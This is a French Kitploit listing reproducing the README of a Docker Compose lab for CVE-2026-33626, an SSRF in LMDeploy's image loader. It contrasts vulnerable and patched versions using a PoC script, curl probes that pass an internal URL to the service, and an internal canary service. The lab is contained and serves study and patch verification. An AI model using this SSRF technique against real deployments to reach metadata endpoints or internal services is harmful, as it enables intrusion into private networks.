Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33626-Lab — # Laboratoire Docker Compose reproduisant la SSRF CVE-2026-33626 dans le chargeur d'images vision-langage de LMDeploy Compare le comportement vulnérable (0.12.0) et corrigé (0.12.3) avec un script PoC et un service canari interne. | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
Analyse des VulnérabilitésSécurité WebCTFApprentissage et ÉducationSécurité de l'IALabs et Pratique
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

# Laboratoire Docker Compose reproduisant la SSRF CVE-2026-33626 dans le chargeur d'images vision-langage de LMDeploy Compare le comportement vulnérable (0.12.0) et corrigé (0.12.3) avec un script PoC et un service canari interne.

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33626 — Laboratoire SSRF vision-langage LMDeploy

Aperçu

Ce dépôt reproduit CVE-2026-33626, une vulnérabilité de type Server-Side Request Forgery (SSRF) dans le chemin de chargement d'images vision-langage de LMDeploy.

Le comportement vulnérable se produit lorsque LMDeploy reçoit une URL d'image et que le chargeur d'images côté serveur récupère cette URL sans bloquer correctement les adresses internes, privées, de boucle locale (loopback) ou link-local.

Ce laboratoire compare :

ServiceVersionObjectif
vulnLMDeploy 0.12.0Démontre le comportement vulnérable
patchedLMDeploy 0.12.3Démontre le comportement corrigé
internalService canari localSimule une ressource interne accessible uniquement dans le réseau Docker

Le laboratoire est conçu pour fonctionner localement avec Docker Compose et ne contacte ni les endpoints de métadonnées cloud ni des cibles externes.


Résumé de la vulnérabilité

LMDeploy prend en charge les flux de travail vision-langage où une image peut être chargée depuis une URL fournie par l'utilisateur. Dans les versions vulnérables, le code de chargement d'images peut récupérer des URL qui résolvent vers des adresses réseau internes/privées.

Cela peut permettre à un attaquant ayant accès à l'endpoint LMDeploy de faire demander au serveur des ressources internes, telles que :

  • des services HTTP internes
  • des endpoints de métadonnées
  • des services de cache/base de données
  • des panneaux d'administration privés
  • d'autres services accessibles depuis le réseau du serveur d'inférence

Dans ce laboratoire, la cible interne est volontairement inoffensive :

root@kitploit:~
http://internal:9000/private.png

Cette URL n'existe que dans le réseau Docker Compose.


Conception du laboratoire

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

Le laboratoire n'exécute pas de serveur d'inférence VLM complet. Il isole plutôt la primitive vulnérable de chargement d'images de LMDeploy en appelant :

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

Cela rend la reproduction légère et déterministe tout en démontrant le comportement de sécurité qui a été corrigé.


Structure du dépôt

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

Services

ServiceURL hôtePort conteneurDescription
vulnhttp://127.0.0.1:80818000Wrapper LMDeploy 0.12.0
patchedhttp://127.0.0.1:80828000Wrapper LMDeploy 0.12.3
internalhttp://127.0.0.1:80909000Service canari interne

Dans le réseau Docker, le canari interne est accessible via :

root@kitploit:~
http://internal:9000/private.png

Prérequis

  • Docker Desktop
  • Docker Compose v2
  • Python 3 pour exécuter le script PoC

Sur Apple Silicon, les services vuln et patched s'exécutent en linux/amd64 car la wheel LMDeploy utilisée dans ce laboratoire est orientée x86_64.


Exécuter le laboratoire

Construire et démarrer les services :

root@kitploit:~
docker compose up -d --build

Vérifier l'état des conteneurs :

root@kitploit:~
docker compose ps

État attendu :

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

Vérifier les versions

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

Sortie attendue :

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

Exécuter le PoC

Créer un environnement virtuel et installer les dépendances :

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Exécuter le PoC :

root@kitploit:~
python poc/poc.py

La cible SSRF par défaut est :

root@kitploit:~
http://internal:9000/private.png

Cette cible est accessible depuis les conteneurs Docker, et non depuis l'internet public.


Résultat attendu

Service vulnérable

Le service vulnérable devrait récupérer l'image canari interne avec succès :

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

Cela confirme que LMDeploy 0.12.0 a effectué une requête côté serveur vers le service Docker interne.

Service corrigé

Le service corrigé devrait bloquer la même URL avant que le service interne ne soit atteint :

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

Cela confirme que LMDeploy 0.12.3 bloque les URL qui résolvent vers des adresses IP non globales/internes.

Résumé final attendu :

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

Test manuel

Réinitialiser le canari interne :

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

Tester le service vulnérable :

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Attendu : /hits contient une requête.

Tester le service corrigé :

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Attendu : /hits reste vide.


Pourquoi cela démontre le SSRF

Le PoC ne requête pas directement le service interne en tant qu'attaquant.

Au lieu de cela, le PoC envoie une URL interne à LMDeploy. Si LMDeploy récupère cette URL depuis le réseau du conteneur, le canari interne enregistre la requête.

Ce comportement prouve la primitive SSRF :

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

La version corrigée empêche cela en rejetant les URL qui résolvent vers des adresses IP non globales.


Nettoyage

root@kitploit:~
docker compose down -v

Références

  • GitHub Security Advisory : GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD : CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • Commit de correctif : 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • Pull Request : #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Analyse Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

Télécharger l’outil